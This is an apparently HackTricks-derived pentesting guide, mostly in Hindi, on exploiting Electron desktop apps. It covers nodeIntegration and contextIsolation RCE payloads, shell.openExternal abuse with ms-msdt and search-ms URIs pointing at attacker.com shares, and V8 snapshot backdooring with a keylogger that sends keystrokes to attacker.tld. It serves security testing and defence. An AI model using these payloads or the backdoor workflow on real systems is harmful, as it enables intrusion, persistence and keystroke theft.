Electron Desktop Apps

Reading time: 24 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

परिचय

Electron स्थानीय बैकएंड (जिसमें NodeJS है) और फ्रंटएंड (Chromium) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्र नहीं होते।

आमतौर पर आप Electron ऐप का कोड .asar एप्लिकेशन के अंदर पाएँगे; कोड प्राप्त करने के लिए आपको इसे एक्सट्रैक्ट करना होगा:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron app के स्रोत कोड में, packet.json के अंदर आप निर्दिष्ट main.js फ़ाइल पा सकते हैं जहाँ security configs सेट किए गए हैं।

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron में 2 process प्रकार हैं:

  • Main Process (NodeJS तक पूर्ण पहुँच होती है)
  • Renderer Process (सुरक्षा कारणों से NodeJS की पहुँच सीमित होनी चाहिए)

एक renderer process एक ब्राउज़र विंडो होती है जो एक फ़ाइल लोड करती है:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

main.js फ़ाइल के अंदर main process में renderer process की सेटिंग्स संरचित (configured) की जा सकती हैं। कुछ कॉन्फ़िगरेशन Electron एप्लिकेशन को RCE या अन्य कमजोरियों से रोक सकते हैं यदि settings सही तरीके से configured हों।

Electron एप्लिकेशन Node apis के माध्यम से डिवाइस तक पहुँच सकता है हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:

  • nodeIntegration - डिफ़ॉल्ट रूप से off है। यदि on है, तो यह renderer process से node फीचर्स तक पहुँचने की अनुमति देता है।
  • contextIsolation - डिफ़ॉल्ट रूप से on है। यदि off है, तो main और renderer processes अलग नहीं होते।
  • preload - डिफ़ॉल्ट रूप से खाली है।
  • sandbox - डिफ़ॉल्ट रूप से off है। यह NodeJS द्वारा की जा सकने वाली कार्रवाइयों को सीमित करेगा।
  • Workers में Node Integration
  • nodeIntegrationInSubframes- डिफ़ॉल्ट रूप से off है।
  • यदि nodeIntegration enabled है, तो यह Electron एप्लिकेशन के अंदर iframes में लोड की गई वेब पेजों में Node.js APIs के उपयोग की अनुमति देगा।
  • यदि nodeIntegration disabled है, तो preloads iframe में लोड होंगे

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

कुछ RCE payloads here से:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

ट्रैफ़िक कैप्चर करें

start-main configuration को संशोधित करें और proxy का उपयोग जोड़ें, जैसे:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

यदि आप लोकली किसी Electron App को execute कर सकते हैं तो संभव है कि आप इसे arbitrary javascript code execute करवाने के लिए मजबूर कर सकें। यह कैसे किया जाता है देखें:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

यदि nodeIntegration on पर सेट है, तो किसी वेब पेज की JavaScript बस require() कॉल करके आसानी से Node.js सुविधाओं का उपयोग कर सकती है। उदाहरण के लिए, Windows पर calc application को execute करने का तरीका है:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

इस सेटिंग में निर्दिष्ट स्क्रिप्ट renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है, इसलिए इसका Node APIs तक असीमित एक्सेस है:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

इसलिए, स्क्रिप्ट node-features को pages में export कर सकती है:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > यदि contextIsolation चालू है, यह काम नहीं करेगा

RCE: XSS + contextIsolation

The contextIsolation वेब पेज स्क्रिप्ट और JavaScript Electron के internal code के बीच अलग-अलग contexts बनाता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक दूसरे को प्रभावित न करे। यह RCE की संभावना को खत्म करने के लिए एक आवश्यक फ़ीचर है।

यदि contexts अलग-थलग नहीं हैं, तो एक हमलावर कर सकता है:

  1. renderer में मनमाना JavaScript निष्पादित करें (XSS या बाहरी साइटों पर नेविगेशन)
  2. preload या Electron internal code में उपयोग होने वाली built-in method को ओवरराइट करके उसे अपना function बना दें
  3. ट्रिगर करें ओवरराइट की गई function के उपयोग को
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

क्लिक इवेंट बायपास

यदि किसी लिंक पर क्लिक करने पर प्रतिबंध लागू हैं, तो आप उन्हें सामान्य बाएँ क्लिक के बजाय मिडल क्लिक करके बायपास कर सकते हैं।

javascript
window.addEventListener('click', (e) => {

RCE के माध्यम से shell.openExternal

इन उदाहरणों के बारे में अधिक जानकारी के लिए देखें https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 और https://benjamin-altpeter.de/shell-openexternal-dangers/

जब किसी Electron desktop application को deploy करते समय, nodeIntegration और contextIsolation की सही सेटिंग्स सुनिश्चित करना बेहद जरूरी होता है। यह स्थापित है कि client-side remote code execution (RCE) जो preload scripts या main process से Electron's native code को लक्षित करती है, इन सेटिंग्स के होने पर प्रभावी रूप से रोकी जाती है।

जब उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नई विंडो खोलता है, तो विशेष event listeners ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

These listeners are डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं ताकि वह अपना business logic लागू कर सके। एप्लिकेशन यह मूल्यांकन करता है कि नेविगेट किया गया लिंक एप्लिकेशन के अंदर खोलना चाहिए या किसी बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, openInternally, के माध्यम से लिया जाता है। यदि यह फ़ंक्शन false लौटाता है, तो इसका अर्थ है कि लिंक को बाहरी रूप से खोलना चाहिए, और इसके लिए shell.openExternal फ़ंक्शन का उपयोग किया जाएगा।

Here is a simplified pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS security best practices सलाह देती हैं कि openExternal फ़ंक्शन के साथ अनविश्वसनीय कंटेंट स्वीकार न करें, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। Operating systems अलग-अलग प्रोटोकॉल सपोर्ट करते हैं जो RCE ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और और अधिक व्याख्या के लिए आप this resource देख सकते हैं, जिसमें Windows प्रोटोकॉल के उदाहरण शामिल हैं जो इस vulnerability का फायदा उठा सकते हैं।

macos में, openExternal फ़ंक्शन का प्रयोग किसी भी कमांड को निष्पादित करने के लिए किया जा सकता है, जैसे shell.openExternal('file:///System/Applications/Calculator.app')

Windows प्रोटोकॉल exploit के उदाहरण शामिल हैं:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

यह vuln this report में पाया जा सकता है।

The webviewTag एक अप्रचलित फीचर है जो renderer process में NodeJS के उपयोग की अनुमति देता है, और इसे अक्षम किया जाना चाहिए क्योंकि यह preload context के अंदर script लोड करने की अनुमति देता है, जैसे:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

इसलिए, एक attacker जो किसी arbitrary page को लोड करने में सक्षम हो, वह उस tag का उपयोग करके arbitrary preload script लोड कर सकता है।

उस preload script का दुरुपयोग करके फिर एक vulnerable IPC service (skype-new-window) को कॉल किया गया, जो RCE प्राप्त करने के लिए shell.openExternal को कॉल कर रहा था:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation

contextIsolation को disable करने से <webview> टैग्स का उपयोग संभव हो जाता है, जो <iframe> की तरह हैं, और यह स्थानीय फ़ाइलों को पढ़ने और exfiltrating के लिए इस्तेमाल किया जा सकता है। एक दिया गया उदाहरण दिखाता है कि इस vulnerability का फायदा उठाकर आंतरिक फ़ाइलों की सामग्री कैसे पढ़ी जा सकती है:

इसके अलावा, एक और तरीका एक आंतरिक फ़ाइल पढ़ने के लिए साझा किया गया है, जो एक Electron desktop app में एक critical local file read vulnerability को उजागर करता है। इसमें एप्लिकेशन को exploit करने और data exfiltrate करने के लिए script inject करना शामिल है:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Old Chromium

यदि एप्लिकेशन द्वारा उपयोग किया गया chromium पुराना है और उस पर known vulnerabilities मौजूद हैं, तो इसे exploit it and obtain RCE through a XSS करना संभव हो सकता है.
आप इसका एक उदाहरण इस writeup में देख सकते हैं: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

मान लीजिए आपने एक XSS पाया है लेकिन आप cannot trigger RCE or steal internal files, तो आप इसे steal credentials via phishing के लिए इस्तेमाल करने की कोशिश कर सकते हैं।

सबसे पहले आपको यह जानना होगा कि जब आप नया URL खोलने की कोशिश करते हैं तो क्या होता है — front-end में JS कोड चेक करते हुए:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally को कॉल करने से यह तय होगा कि क्या link प्लेटफ़ॉर्म का होने के कारण opened होकर desktop window में दिखेगा, or यह browser as a 3rd party resource में खोला जाएगा।

यदि उस फ़ंक्शन में उपयोग किया गया regex vulnerable to bypasses है (उदाहरण के लिए not escaping the dots of subdomains), तो एक attacker XSS का दुरुपयोग करके उपयोगकर्ता से प्रमाण-पत्र माँगने वाले हमलावरों की infrastructure में स्थित एक पॉपअप open a new window which कर सकता है और user से asking for credentials कर सकता है:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// प्रोटोकॉल

जैसा कि the docs में बताया गया है, file:// पर चलने वाले पेज आपकी मशीन की हर फ़ाइल तक एकतरफा पहुँच रखते हैं, जिसका अर्थ है कि XSS समस्याओं का उपयोग उपयोगकर्ता की मशीन से मनचाही फ़ाइलें लोड करने के लिए किया जा सकता है। एक custom protocol का उपयोग इस तरह की समस्याओं को रोकता है क्योंकि आप प्रोटोकॉल को केवल एक विशिष्ट फ़ाइल सेट को सर्व करने तक सीमित कर सकते हैं।

Remote module

Electron का Remote module अनुमति देता है कि renderer processes main process APIs तक पहुँच प्राप्त कर सकें, जो कि एक Electron application के भीतर संचार को सक्षम बनाता है। हालाँकि, इस module को सक्षम करने से महत्वपूर्ण सुरक्षा जोखिम उत्पन्न होते हैं। यह application के attack surface को बढ़ा देता है, जिससे यह cross-site scripting (XSS) जैसे कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।

tip

हालांकि remote module main से renderer processes को कुछ APIs एक्सपोज़ करता है, केवल इन components का दुरुपयोग करके सीधे RCE प्राप्त करना सहज नहीं होता। हालांकि, ये components संवेदनशील जानकारी उजागर कर सकते हैं।

warning

कई apps जो अभी भी remote module का उपयोग करते हैं वे इसे इस तरह से करते हैं कि renderer process में NodeIntegration को enabled होना आवश्यक होता है, जो कि एक बड़ा सुरक्षा जोखिम है।

Electron 14 के बाद से remote module कई वातावरणों में सक्षम हो सकता है, लेकिन security और performance कारणों से इसका उपयोग न करने की सिफारिश की जाती है।

इसे सक्षम करने के लिए, पहले इसे main process में सक्षम करना आवश्यक होगा:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

फिर, renderer process मॉड्यूल से objects को इस तरह import कर सकता है:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

The blog post remote module के object app द्वारा expose की गई कुछ रोचक functions बताता है:

  • app.relaunch([options])
  • एप्लिकेशन को पुनः शुरू करता है: वर्तमान instance को बंद करके और एक नई instance लॉन्च करता है। यह app updates या महत्वपूर्ण state changes के लिए उपयोगी है।
  • app.setAppLogsPath([path])
  • app logs संग्रहीत करने के लिए एक डायरेक्टरी निर्धारित या बनाता है। लॉग्स को app.getPath() या app.setPath(pathName, newPath) का उपयोग करके प्राप्त या संशोधित किया जा सकता है।
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • निर्दिष्ट protocol के लिए वर्तमान executable को default handler के रूप में register करता है। आवश्यकता होने पर आप custom path और arguments दे सकते हैं।
  • app.setUserTasks(tasks)
  • Windows पर Jump List के Tasks category में tasks जोड़ता है। प्रत्येक task यह नियंत्रित कर सकता है कि app कैसे लॉन्च होता है या कौन से arguments पास किए जाते हैं।
  • app.importCertificate(options, callback)
  • सिस्टम के certificate store में PKCS#12 certificate import करता है (केवल Linux)। परिणाम को संभालने के लिए callback का उपयोग किया जा सकता है।
  • app.moveToApplicationsFolder([options])
  • एप्लिकेशन को Applications folder में स्थानांतरित करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए standard installation सुनिश्चित करने में मदद करता है।
  • app.setJumpList(categories)
  • Windows पर एक custom Jump List सेट या हटाता है। आप tasks उपयोगकर्ता को कैसे दिखाई दें इसे व्यवस्थित करने के लिए categories निर्दिष्ट कर सकते हैं।
  • app.setLoginItemSettings(settings)
  • यह कॉन्फ़िगर करता है कि किन executables को login पर उनके options के साथ लॉन्च किया जाए (केवल macOS और Windows)।

Example:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

यह Electron में system preferences तक पहुँचने और system events को emit करने के लिए primary API है। subscribeNotification, subscribeWorkspaceNotification, getUserDefault, और setUserDefault जैसे मेथड्स सभी इस मॉड्यूल का हिस्सा हैं।

उदाहरण उपयोग:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Listens for native macOS notifications using NSDistributedNotificationCenter.
  • Before macOS Catalina, you could sniff all distributed notifications by passing nil to CFNotificationCenterAddObserver.
  • After Catalina / Big Sur, sandboxed apps can still subscribe to many events (for example, screen locks/unlocks, volume mounts, network activity, etc.) by registering notifications by name.

getUserDefault / setUserDefault

  • Interfaces with NSUserDefaults, which stores application or global preferences on macOS.

  • getUserDefault can retrieve sensitive information, such as recent file locations or user’s geographic location.

  • setUserDefault can modify these preferences, potentially affecting an app’s configuration.

  • In older Electron versions (before v8.3.0), only the standard suite of NSUserDefaults was accessible.

Shell.showItemInFolder

This function फ़ाइल मैनेजर में दिए गए फ़ाइल को दिखाता है, जो फ़ाइल को स्वतः execute करवा सकता है।

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.

It's usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webview’s extensionId.
  • Constructing target webview URL: Using the leaked ID to build vscode-webview://<extensionId>/.../<publicUrl>.
  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.

Example RCE primitive in the final context

js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

postMessage trust issues पर संबंधित पढ़ने की सामग्री:

PostMessage Vulnerabilities

टूल्स

  • Electronegativity Electron-based applications में misconfigurations और security anti-patterns की पहचान करने का टूल है।
  • Electrolint Electron applications के लिए एक open source VS Code plugin है जो Electronegativity का उपयोग करता है।
  • nodejsscan vulnerable third party libraries की जाँच करने के लिए
  • Electro.ng: आपको इसे खरीदना होगा

लैब्स

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s में आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।

कुछ कमांड्स जो लैब में आपकी मदद करेंगे:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305

Electron और Chromium-based apps स्टार्टअप पर एक prebuilt V8 heap snapshot (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) को deserialize करती हैं ताकि हर V8 isolate (main, preload, renderer) को initialize किया जा सके। ऐतिहासिक रूप से, Electron की integrity fuses इन snapshots को executable content नहीं मानती थीं, इसलिए ये fuse-based integrity enforcement और OS code-signing checks दोनों से बच निकलते थे। परिणामस्वरूप, user-writable installation में snapshot को बदलना signed binaries या ASAR को modify किए बिना ऐप के अंदर stealthy, persistent code execution की अनुमति देता था।

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
  • Attack preconditions: लोकल फाइल लिखने की अनुमति एप्लिकेशन की installation directory में। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में इंस्टॉल होते हैं (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
  • Effect: किसी भी isolate में attacker JavaScript का विश्वसनीय execution एक अक्सर इस्तेमाल होने वाले builtin (एक “gadget”) को clobber करके, जिससे persistence और code-signing verification से बचाव संभव होता है।
  • Affected surface: Electron apps (even with fuses enabled) और वे Chromium-based browsers जो snapshots को user-writable locations से लोड करते हैं।

Generating a malicious snapshot without building Chromium

  • prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application's v8_context_snapshot.bin को overwrite करें।

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (run different code in main vs. renderer)

  • Main प्रक्रिया का पता लगाना: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं।
  • Browser/renderer का पता लगाना: Browser-only globals जैसे alert डॉक्यूमेंट context में चलने पर उपलब्ध होते हैं।

उदाहरण gadget जो main-process की Node क्षमताओं को एक बार जांचता है

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context डेटा चोरी PoC (e.g., Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

ऑपरेटर कार्यप्रवाह

  1. payload.js लिखें जो किसी सामान्य builtin (उदा., Array.isArray) को ओवरराइट करे और आवश्यकतानुसार प्रति isolate अलग व्यवहार करे।
  2. Chromium स्रोतों के बिना snapshot बनाएं:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. लक्षित एप्लिकेशन के snapshot फाइल(ें) को ओवरराइट करें:
  • v8_context_snapshot.bin (हमेशा उपयोग होता है)
  • browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग में है)
  1. एप्लिकेशन लॉन्च करें; चुने गए builtin के उपयोग पर gadget निष्पादित होता है।

नोट्स और विचार

  • Integrity/signature bypass: Snapshot फ़ाइलों को code-signing चेक्स द्वारा native executables के रूप में नहीं माना जाता और (ऐतिहासिक रूप से) वे Electron के fuses या Chromium के integrity controls द्वारा कवर नहीं थे।
  • Persistence: user-writable install में snapshot बदलने से आमतौर पर ऐप रिस्टार्ट के बाद भी टिकता है और यह एक signed, legitimate ऐप जैसा दिखता है।
  • Chromium browsers: यही टैम्परिंग कॉन्सेप्ट Chrome/derivatives पर भी लागू होता है जो user-writable लोकेशन्स में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह अपने threat model से physically local attacks को स्पष्ट रूप से बाहर रखता है।

डिटेक्शन और रोकथाम

  • Snapshots को executable content के रूप में मानें और उन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix).
  • प्राथमिकता दें कि इंस्टॉल लोकेशन केवल admin-writable हों; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए बेसलाइन बनाएं और उनके hashes मॉनिटर करें।
  • Early-runtime builtin clobbering और अनपेक्षित snapshot परिवर्तन पहचानें; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो अलर्ट दें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें